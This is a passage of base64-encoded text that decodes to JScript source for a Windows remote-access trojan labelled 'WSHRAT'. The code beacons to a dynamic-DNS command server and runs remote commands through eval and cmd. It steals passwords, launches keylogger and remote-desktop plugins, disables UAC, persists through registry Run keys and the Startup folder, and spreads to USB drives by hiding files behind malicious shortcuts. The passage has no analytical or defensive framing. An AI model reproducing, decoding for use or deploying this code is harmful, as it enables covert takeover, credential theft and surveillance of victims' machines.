ZhciBzdHVicGF0aDEgPSBhcHBkYXRhZGlyMSArICJcXGFSVWFTTWxoWUMuanMiOw0KdmFyIGRlY29kZWQxID0gZGVjb2RlQmFzZTY0KGxvbmdUZXh0MSk7DQp3cml0ZUJ5dGVzKHN0dWJwYXRoMSwgZGVjb2RlZDEpOw0Kd3NoU2hlbGwxLnJ1bigid3NjcmlwdCAvL0IgXCIiICsgc3R1YnBhdGgxICsgIlwiIik7DQp9Y2F0Y2goZXIpe30NCmZ1bmN0aW9uIHdyaXRlQnl0ZXMoZmlsZSwgYnl0ZXMpew0KdHJ5ew0KdmFyIGJpbmFyeVN0cmVhbSA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKTsNCmJpbmFyeVN0cmVhbS5UeXBlID0gMTsNCmJpbmFyeVN0cmVhbS5PcGVuKCk7DQpiaW5hcnlTdHJlYW0uV3JpdGUoYnl0ZXMpOw0KYmluYXJ5U3RyZWFtLlNhdmVUb0ZpbGUoZmlsZSwgMik7DQp9Y2F0Y2goZXJyKXsNCn0NCn0NCmZ1bmN0aW9uIGRlY29kZUJhc2U2NChiYXNlNjQpew0KdmFyIERNID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIk1pY3Jvc29mdC5YTUxET00iKTsNCnZhciBFTCA9IERNLmNyZWF0ZUVsZW1lbnQoInRtcCIpOw0KRUwuZGF0YVR5cGUgPSAiYmluLmJhc2U2NCI7DQpFTC50ZXh0ID0gYmFzZTY0Ow0KcmV0dXJuIEVMLm5vZGVUeXBlZFZhbHVlOw0KfQ0Kd3NoU2hlbGwxID0gbnVsbDsNCnZhciBob3N0ID0gIkV4dGVuZHdzaDU2MDAuZGRucy5uZXQiOw0KdmFyIHBvcnQgPSA1NjAwOw0KdmFyIGluc3RhbGxkaXIgPSAiJXRlbXAlIjsNCnZhciBydW5Bc0FkbWluID0gZmFsc2U7DQp2YXIgbG5rZmlsZSA9IHRydWU7DQp2YXIgbG5rZm9sZGVyID0gdHJ1ZTsNCmlmKHJ1bkFzQWRtaW4gPT0gdHJ1ZSl7DQpzdGFydHVwRWxldmF0ZSgpOw0KfQ0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IHRydWUpew0KZGlzYWJsZVNlY3VyaXR5KCk7DQp9DQp2YXIgc2hlbGxvYmogPSBXU2NyaXB0LmNyZWF0ZU9iamVjdCgid3NjcmlwdC5zaGVsbCIpOw0KdmFyIGZpbGVzeXN0ZW1vYmogPSBXU2NyaXB0LmNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsNCnZhciBodHRwb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7DQp2YXIgaW5zdGFsbG5hbWUgPSBXU2NyaXB0LnNjcmlwdE5hbWU7DQp2YXIgc3RhcnR1cCA9IHNoZWxsb2JqLnNwZWNpYWxGb2xkZXJzKCJzdGFydHVwIikgKyAiXFwiOw0KaW5zdGFsbGRpciA9IHNoZWxsb2JqLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhpbnN0YWxsZGlyKSArICJcXCI7DQppZighZmlsZXN5c3RlbW9iai5mb2xkZXJFeGlzdHMoaW5zdGFsbGRpcikpeyAgaW5zdGFsbGRpciA9IHNoZWxsb2JqLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiJXRlbXAlIikgKyAiXFwiO30NCnZhciBzcGxpdGVyID0gInwiOw0KdmFyIHNsZWVwID0gNTAwMDsNCnZhciByZXNwb25zZSwgY21kLCBwYXJhbSwgb25lb25jZTsNCnZhciBpbmYgPSAiIjsNCnZhciB1c2JzcHJlYWRpbmcgPSAiIjsNCnZhciBzdGFydGRhdGUgPSAiIjsNCmluc3RhbmNlKCk7DQp3aGlsZSh0cnVlKXsNCnRyeXsNCmluc3RhbGwoKTsNCnJlc3BvbnNlID0gIiI7DQpyZXNwb25zZSA9IHBvc3QgKCJpcy1yZWFkeSIsIiIpOw0KY21kID0gcmVzcG9uc2Uuc3BsaXQoc3BsaXRlcik7DQpzd2l0Y2goY21kWzBdKXsNCmNhc2UgImRpc2Nvbm5lY3QiOg0KV1NjcmlwdC5xdWl0KCk7DQpicmVhazsNCmNhc2UgInJlYm9vdCI6DQpzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyBzaHV0ZG93biAvciAvdCAwIC9mIiwgMCwgdHJ1ZSk7DQpicmVhazsNCmNhc2UgInNodXRkb3duIjoNCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHNodXRkb3duIC9zIC90IDAgL2YiLCAwLCB0cnVlKTsNCmJyZWFrOw0KY2FzZSAiZXhjZWN1dGUiOg0KcGFyYW0gPSBjbWRbMV07DQpldmFsKHBhcmFtKTsNCmJyZWFrOw0KY2FzZSAiZ2V0LXBhc3MiOg0KcGFzc2dyYWJiZXIoY21kWzFdLCAiY21kYy5leGUiLCBjbWRbMl0pOw0KYnJlYWs7DQpjYXNlICJnZXQtcGFzcy1vZmZsaW5lIjoNCnBhc3NncmFiYmVyMihjbWRbMV0sICJjbWRjLmV4ZSIsIGNtZFsyXSk7DQpicmVhazsNCmNhc2UgInVwZGF0ZSI6DQpwYXJhbSA9IHJlc3BvbnNlLnN1YnN0cihyZXNwb25zZS5pbmRleE9mKCJ8IikgKyAxKTsNCm9uZW9uY2UuY2xvc2UoKTsNCm9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgLDIsIGZhbHNlKTsNCm9uZW9uY2Uud3JpdGUocGFyYW0pOw0Kb25lb25jZS5jbG9zZSgpOw0Kc2hlbGxvYmoucnVuKCJ3c2NyaXB0LmV4ZSAvL0IgXCIiICsgaW5zdGFsbGRpciArIGluc3RhbGxuYW1lICsgIlwiIik7DQp1cGRhdGVzdGF0dXMoIlVwZGF0ZWQiKTsNCldTY3JpcHQucXVpdCgpOw0KY2FzZSAidW5pbnN0YWxsIjoNCnVuaW5zdGFsbCgpOw0KYnJlYWs7DQpjYXNlICJ1cC1uLWV4ZWMiOg0KZG93bmxvYWQoY21kWzFdLGNtZFsyXSk7DQpicmVhazsNCmNhc2UgImJyaW5nLWxvZyI6DQp1cGxvYWQoaW5zdGFsbGRpciArICJ3c2hsb2dzXFwiICsgY21kWzFdLCAidGFrZS1sb2ciKTsNCmJyZWFrOw0KY2FzZSAiZG93bi1uLWV4ZWMiOg0Kc2l0ZWRvd25sb2FkZXIoY21kWzFdLGNtZFsyXSk7DQpicmVhazsNCmNhc2UgICJmaWxlbWFuYWdlciI6DQpzZXJ2aWNlc3RhcnRlcihjbWRbMV0sICJmbS1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSk7DQpicmVhazsNCmNhc2UgICJyZHAiOg0Kc2VydmljZXN0YXJ0ZXIoY21kWzFdLCAicmQtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCkpOw0KYnJlYWs7DQpjYXNlICAia2V5bG9nZ2VyIjoNCmtleWxvZ2dlcnN0YXJ0ZXIoY21kWzFdLCAia2wtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCksIDApOw0KYnJlYWs7DQpjYXNlICAib2ZmbGluZS1rZXlsb2dnZXIiOg0Ka2V5bG9nZ2Vyc3RhcnRlcihjbWRbMV0sICJrbC1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSwgMSk7DQpicmVhazsNCmNhc2UgICJicm93c2UtbG9ncyI6DQpwb3N0KCJpcy1sb2dzIiwgZW51bWZhZihpbnN0YWxsZGlyICsgIndzaGxvZ3MiKSk7DQpicmVhazsNCmNhc2UgICJjbWQtc2hlbGwiOg0KcGFyYW0gPSBjbWRbMV07DQpwb3N0KCJpcy1jbWQtc2hlbGwiLGNtZHNoZWxsKHBhcmFtKSk7DQpicmVhazsNCmNhc2UgICJnZXQtcHJvY2Vzc2VzIjoNCnBvc3QoImlzLXByb2Nlc3NlcyIsIGVudW1wcm9jZXNzKCkpOw0KYnJlYWs7DQpjYXNlICAiZGlzYWJsZS11YWMiOg0KZGlzYWJsZVNlY3VyaXR5KCk7DQp1cGRhdGVzdGF0dXMoIlVBQytEaXNhYmxlZCsoUmVib290K1JlcXVpcmVkKSIpOw0KYnJlYWs7DQpjYXNlICAiY2hlY2stZWxpZ2libGUiOg0KaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGNtZFsxXSkpew0KdXBkYXRlc3RhdHVzKCJJcytFbGlnaWJsZSIpOw0KfWVsc2V7DQp1cGRhdGVzdGF0dXMoIk5vdCtFbGlnaWJsZSIpOw0KfQ0KYnJlYWs7DQpjYXNlICAiZm9yY2UtZWxpZ2libGUiOg0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IHRydWUpew0KaWYoZmlsZXN5c3RlbW9iai5mb2xkZXJFeGlzdHMoY21kWzFdKSl7DQpzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyAiICsgY21kWzJdLCAwLCB0cnVlKTsNCnVwZGF0ZXN0YXR1cygiU1VDQ0VTUyIpOw0KfWVsc2V7DQp1cGRhdGVzdGF0dXMoIkNvbXBvbmVudCtNaXNzaW5nIik7DQp9DQp9DQplbHNlew0KdXBkYXRlc3RhdHVzKCJFbGV2YXRpb24rUmVxdWlyZWQiKTsNCn0NCmJyZWFrOw0KY2FzZSAgImVsZXZhdGUiOg0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IGZhbHNlKXsNCnRyeXsNCm9uZW9uY2UuY2xvc2UoKTsNCm9uZW9uY2UgPSBudWxsOw0KV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIiArIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKyAiXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOw0KdXBkYXRlc3RhdHVzKCJDbGllbnQrRWxldmF0ZWQiKTsNCn1jYXRjaChubil7DQp9DQpXU2NyaXB0LnF1aXQoKTsNCn0NCmVsc2V7DQp1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOw0KfQ0KYnJlYWs7DQpjYXNlICAiaWYtZWxldmF0ZSI6DQppZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2Upew0KdXBkYXRlc3RhdHVzKCJDbGllbnQrTm90K0VsZXZhdGVkIik7DQp9DQplbHNlew0KdXBkYXRlc3RhdHVzKCJDbGllbnQrRWxldmF0ZWQiKTsNCn0NCmJyZWFrOw0KY2FzZSAgImtpbGwtcHJvY2VzcyI6DQpleGl0cHJvY2VzcyhjbWRbMV0pOw0KYnJlYWs7DQpjYXNlICAic2xlZXAiOg0KcGFyYW0gPSBjbWRbMV07DQpzbGVlcCA9IGV2YWwocGFyYW0pOw0KYnJlYWs7DQp9DQp9Y2F0Y2goZXIpe30NCldTY3JpcHQuc2xlZXAoc2xlZXApOw0KfQ0KZnVuY3Rpb24gaW5zdGFsbCgpew0KdmFyIGxua29iajsNCnZhciBmaWxlbmFtZTsNCnZhciBmb2xkZXJuYW1lOw0KdmFyIGZpbGVpY29uOw0KdmFyIGZvbGRlcmljb247DQp1cHN0YXJ0KCk7DQpmb3IodmFyIGRyaSA9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZHJpdmVzKTsgIWRyaS5hdEVuZCgpOyBkcmkubW92ZU5leHQoKSl7DQp2YXIgZHJpdmUgPSBkcmkuaXRlbSgpOw0KaWYgKGRyaXZlLmlzcmVhZHkgPT0gdHJ1ZSl7DQppZiAoZHJpdmUuZnJlZXNwYWNlID4gMCApew0KaWYgKGRyaXZlLmRyaXZldHlwZSA9PSAxICl7DQp0cnl7DQpmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUgLCBkcml2ZS5wYXRoICsgIlxcIiArIGluc3RhbGxuYW1lLHRydWUpOw0KaWYgKGZpbGVzeXN0ZW1vYmouZmlsZUV4aXN0cyAoZHJpdmUucGF0aCArICJcXCIgKyBpbnN0YWxsbmFtZSkpew0KZmlsZXN5c3RlbW9iai5nZXRGaWxlKGRyaXZlLnBhdGggKyAiXFwiICArIGluc3RhbGxuYW1lKS5hdHRyaWJ1dGVzID0gMis0Ow0KfQ0KfWNhdGNoKGVpanUpe30NCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuZmlsZXMpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp0cnl7DQp2YXIgZmlsZSA9IGZpLml0ZW0oKTsNCmlmIChsbmtmaWxlID09IGZhbHNlKXticmVhazt9DQppZiAoZmlsZS5uYW1lLmluZGV4T2YoIi4iKSl7DQppZiAoKGZpbGUubmFtZS5zcGxpdCgiLiIpW2ZpbGUubmFtZS5zcGxpdCgiLiIpLmxlbmd0aCAtIDFdKS50b0xvd2VyQ2FzZSgpICE9ICJsbmsiKXsNCmZpbGUuYXR0cmlidXRlcyA9IDIrNDsNCmlmIChmaWxlLm5hbWUudG9VcHBlckNhc2UoKSAhPSBpbnN0YWxsbmFtZS50b1VwcGVyQ2FzZSgpKXsNCmZpbGVuYW1lID0gZmlsZS5uYW1lLnNwbGl0KCIuIik7DQpsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVTaG9ydGN1dChkcml2ZS5wYXRoICsgIlxcIiAgKyBmaWxlbmFtZVswXSArICIubG5rIik7DQpsbmtvYmoud2luZG93U3R5bGUgPSA3Ow0KbG5rb2JqLnRhcmdldFBhdGggPSAiY21kLmV4ZSI7DQpsbmtvYmoud29ya2luZ0RpcmVjdG9yeSA9ICIiOw0KbG5rb2JqLmFyZ3VtZW50cyA9ICIvYyBzdGFydCAiICsgaW5zdGFsbG5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKyAiJnN0YXJ0ICIgKyBmaWxlLm5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKyImZXhpdCI7DQp0cnl7ZmlsZWljb24gPSBzaGVsbG9iai5SZWdSZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcY2xhc3Nlc1xcIiArIHNoZWxsb2JqLlJlZ1JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxjbGFzc2VzXFwuIiArIGZpbGUubmFtZS5zcGxpdCgiLiIpW2ZpbGUubmFtZS5zcGxpdCgiLiIpLmxlbmd0aCAtIDFdKyAiXFwiKSArICJcXGRlZmF1bHRpY29uXFwiKTsgfWNhdGNoKGVlZWUpe30NCmlmIChmaWxlaWNvbi5pbmRleE9mKCIsIikgPT0gMCl7DQpsbmtvYmouaWNvbkxvY2F0aW9uID0gZmlsZS5wYXRoOw0KfWVsc2Ugew0KbG5rb2JqLmljb25Mb2NhdGlvbiA9IGZpbGVpY29uOw0KfQ0KbG5rb2JqLnNhdmUoKTsNCn0NCn0NCn0NCn1jYXRjaChlcnIpe30NCn0NCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnRyeXsNCnZhciBmb2xkZXIgPSBmaS5pdGVtKCk7DQppZiAobG5rZm9sZGVyID09IGZhbHNlKXticmVhazt9DQpmb2xkZXIuYXR0cmlidXRlcyA9IDIrNDsNCmZvbGRlcm5hbWUgPSBmb2xkZXIubmFtZTsNCmxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZVNob3J0Y3V0KGRyaXZlLnBhdGggKyAiXFwiICArIGZvbGRlcm5hbWUgKyAiLmxuayIpOw0KbG5rb2JqLndpbmRvd1N0eWxlID0gNzsNCmxua29iai50YXJnZXRQYXRoID0gImNtZC5leGUiOw0KbG5rb2JqLndvcmtpbmdEaXJlY3RvcnkgPSAiIjsNCmxua29iai5hcmd1bWVudHMgPSAiL2Mgc3RhcnQgIiArIGluc3RhbGxuYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsgIiZzdGFydCBleHBsb3JlciAiICsgZm9sZGVyLm5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKyImZXhpdCI7DQpmb2xkZXJpY29uID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcY2xhc3Nlc1xcZm9sZGVyXFxkZWZhdWx0aWNvblxcIik7DQppZiAoZm9sZGVyaWNvbi5pbmRleE9mKCIsIikgPT0gMCl7DQpsbmtvYmouaWNvbkxvY2F0aW9uID0gZm9sZGVyLnBhdGg7DQp9ZWxzZSB7DQpsbmtvYmouaWNvbkxvY2F0aW9uID0gZm9sZGVyaWNvbjsNCn0NCmxua29iai5zYXZlKCk7DQp9Y2F0Y2goZXJyKXt9DQp9DQp9DQp9DQp9DQp9DQp9DQpmdW5jdGlvbiBzdGFydHVwRWxldmF0ZSgpew0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IGZhbHNlKXsNCnRyeXsNCldTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgid3NjcmlwdC5leGUiLCAiIC8vQiBcIiIgKyBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lICsgIlwiIC9lbGV2YXRlZCIsICIiLCAicnVuYXMiLCAxKTsNCn1jYXRjaChubil7DQp9DQpXU2NyaXB0LnF1aXQoKTsNCn0NCn0NCmZ1bmN0aW9uIGRpc2FibGVTZWN1cml0eSgpew0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IHRydWUpew0KdmFyIG9SZWcgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9uTGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxkZWZhdWx0OlN0ZFJlZ1Byb3YiKTsNCm9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMDAwMDAyLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkVuYWJsZUxVQSIsIDApOw0Kb1JlZy5TZXREd29yZFZhbHVlKDB4ODAwMDAwMDIsIlNPRlRXQVJFXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxQb2xpY2llc1xcU3lzdGVtIiwiQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4iLCAwKTsNCm9SZWcgPSBudWxsOw0KfQ0KfQ0KZnVuY3Rpb24gdW5pbnN0YWxsKCl7DQp0cnl7DQp2YXIgZmlsZW5hbWU7DQp2YXIgZm9sZGVybmFtZTsNCnRyeXsNCnNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9DVVJSRU5UX1VTRVJcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdKTsNCnNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSk7DQp9Y2F0Y2goZWkpe30NCnRyeXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShzdGFydHVwICsgaW5zdGFsbG5hbWUgLHRydWUpOw0KZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUgLHRydWUpOw0KfWNhdGNoKGVlail7fQ0KZm9yKHZhciBkcmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmRyaXZlcyk7ICFkcmkuYXRFbmQoKTsgZHJpLm1vdmVOZXh0KCkpew0KdmFyIGRyaXZlID0gZHJpLml0ZW0oKTsNCmlmIChkcml2ZS5pc3JlYWR5ID09IHRydWUpew0KaWYgKGRyaXZlLmZyZWVzcGFjZSA+IDAgKXsNCmlmIChkcml2ZS5kcml2ZXR5cGUgPT0gMSApew0KZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKGRyaXZlLnBhdGggKyAiXFwiKS5maWxlcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnZhciBmaWxlID0gZmkuaXRlbSgpOw0KdHJ5ew0KaWYgKGZpbGUubmFtZS5pbmRleE9mKCIuIikpew0KaWYgKChmaWxlLm5hbWUuc3BsaXQoIi4iKVtmaWxlLm5hbWUuc3BsaXQoIi4iKS5sZW5ndGggLSAxXSkudG9Mb3dlckNhc2UoKSAhPSAibG5rIil7DQpmaWxlLmF0dHJpYnV0ZXMgPSAwOw0KaWYgKGZpbGUubmFtZS50b1VwcGVyQ2FzZSgpICE9IGluc3RhbGxuYW1lLnRvVXBwZXJDYXNlKCkpew0KZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShkcml2ZS5wYXRoICsgIlxcIiArIGZpbGVuYW1lWzBdICsgIi5sbmsiICk7DQp9ZWxzZXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShkcml2ZS5wYXRoICsgIlxcIiArIGZpbGUubmFtZSk7DQp9DQp9ZWxzZXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZSAoZmlsZS5wYXRoKTsNCn0NCn0NCn1jYXRjaChleCl7fQ0KfQ0KZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKGRyaXZlLnBhdGggKyAiXFwiKS5zdWJGb2xkZXJzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdmFyIGZvbGRlciA9IGZpLml0ZW0oKTsNCmZvbGRlci5hdHRyaWJ1dGVzID0gMDsNCn0NCn0NCn0NCn0NCn0NCn1jYXRjaChlcnIpe30NCldTY3JpcHQucXVpdCgpOw0KfQ0KZnVuY3Rpb24gcG9zdCAoY21kICxwYXJhbSl7DQp0cnl7DQpodHRwb2JqLm9wZW4oInBvc3QiLCJodHRwOi8vIiArIGhvc3QgKyAiOiIgKyBwb3J0ICsiLyIgKyBjbWQsIGZhbHNlKTsNCmh0dHBvYmouc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLGluZm9ybWF0aW9uKCkpOw0KaHR0cG9iai5zZW5kKHBhcmFtKTsNCnJldHVybiBodHRwb2JqLnJlc3BvbnNlVGV4dDsNCn1jYXRjaChlcnIpew0KcmV0dXJuICIiOw0KfQ0KfQ0KZnVuY3Rpb24gaW5mb3JtYXRpb24oKXsNCnRyeXsNCmlmIChpbmYgPT0gIiIpew0KaW5mID0gaHdpZCgpICsgc3BsaXRlcjsNCmluZiA9IGluZiAgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVjb21wdXRlcm5hbWUlIikgKyBzcGxpdGVyIDsNCmluZiA9IGluZiAgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV1c2VybmFtZSUiKSArIHNwbGl0ZXI7DQp2YXIgcm9vdCA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7DQp2YXIgb3MgPSByb290LkV4ZWNRdWVyeSAoInNlbGVjdCAqIGZyb20gd2luMzJfb3BlcmF0aW5nc3lzdGVtIik7DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3Iob3MpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgb3NpbmZvID0gZmkuaXRlbSgpOw0KaW5mID0gaW5mICsgb3NpbmZvLmNhcHRpb24gKyBzcGxpdGVyOw0KYnJlYWs7DQp9DQppbmYgPSBpbmYgKyAicGx1cyIgKyBzcGxpdGVyOw0KaW5mID0gaW5mICsgc2VjdXJpdHkoKSArIHNwbGl0ZXI7DQppbmYgPSBpbmYgKyB1c2JzcHJlYWRpbmc7DQppbmYgPSAiV1NIUkFUIiArIHNwbGl0ZXIgKyBpbmYgKyBzcGxpdGVyICsgIkphdmFTY3JpcHQtdjEuMyIgOw0KcmV0dXJuIGluZjsNCn1lbHNlew0KcmV0dXJuIGluZjsNCn0NCn1jYXRjaChlcnIpew0KcmV0dXJuICIiOw0KfQ0KfQ0KZnVuY3Rpb24gdXBzdGFydCAoKXsNCnRyeXsNCnRyeXsNCnNoZWxsb2JqLlJlZ1dyaXRlKCJIS0VZX0NVUlJFTlRfVVNFUlxcc29mdHdhcmVcXG1pY3Jvc29mdFxcd2luZG93c1xcY3VycmVudHZlcnNpb25cXHJ1blxcIiArIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0sICAid3NjcmlwdC5leGUgLy9CIFwiIiArIGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZSArICJcIiIgLCAiUkVHX1NaIik7DQpzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSwgICJ3c2NyaXB0LmV4ZSAvL0IgXCIiICsgaW5zdGFsbGRpciArIGluc3RhbGxuYW1lICsgIlwiIiAsICJSRUdfU1oiKTsNCn1jYXRjaChlaSl7fQ0KZmlsZXN5c3RlbW9iai5jb3B5RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLCBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUsIHRydWUpOw0KZmlsZXN5c3RlbW9iai5jb3B5RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLCBzdGFydHVwICsgaW5zdGFsbG5hbWUsIHRydWUpOw0KfWNhdGNoKGVycil7fQ0KfQ0KZnVuY3Rpb24gaHdpZCgpew0KdHJ5ew0KdmFyIHJvb3QgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9uTGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOw0KdmFyIGRpc2tzID0gcm9vdC5FeGVjUXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX2xvZ2ljYWxkaXNrIik7DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZGlza3MpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgZGlzayA9IGZpLml0ZW0oKTsNCmlmIChkaXNrLnZvbHVtZVNlcmlhbE51bWJlciAhPSAiIil7DQpyZXR1cm4gZGlzay52b2x1bWVTZXJpYWxOdW1iZXI7DQpicmVhazsNCn0NCn0NCn1jYXRjaChlcnIpew0KcmV0dXJuICIiOw0KfQ0KfQ0KZnVuY3Rpb24gc2VjdXJpdHkoKXsNCnRyeXsNCnZhciBvYmp3bWlzZXJ2aWNlID0gR2V0T2JqZWN0KCJ3aW5tZ210czp7aW1wZXJzb25hdGlvbmxldmVsPWltcGVyc29uYXRlfSFcXFxcLlxccm9vdFxcY2ltdjIiKTsNCnZhciBjb2xpdGVtcyA9IG9iandtaXNlcnZpY2UuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIsbnVsbCw0OCk7DQp2YXIgdmVyc2lvbnN0ciwgb3N2ZXJzaW9uOw0KZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7DQp2ZXJzaW9uc3RyID0gb2JqaXRlbS52ZXJzaW9uLnRvU3RyaW5nKCkuc3BsaXQoIi4iKTsNCn0NCm9zdmVyc2lvbiA9IHZlcnNpb25zdHJbMF0gKyAiLiI7DQpmb3IgKHZhciB4ID0gMTsgeCA8IHZlcnNpb25zdHIubGVuZ3RoOyB4Kyspew0Kb3N2ZXJzaW9uID0gb3N2ZXJzaW9uICsgdmVyc2lvbnN0clswXTsNCn0NCm9zdmVyc2lvbiA9IGV2YWwob3N2ZXJzaW9uKTsNCnZhciBzYzsNCmlm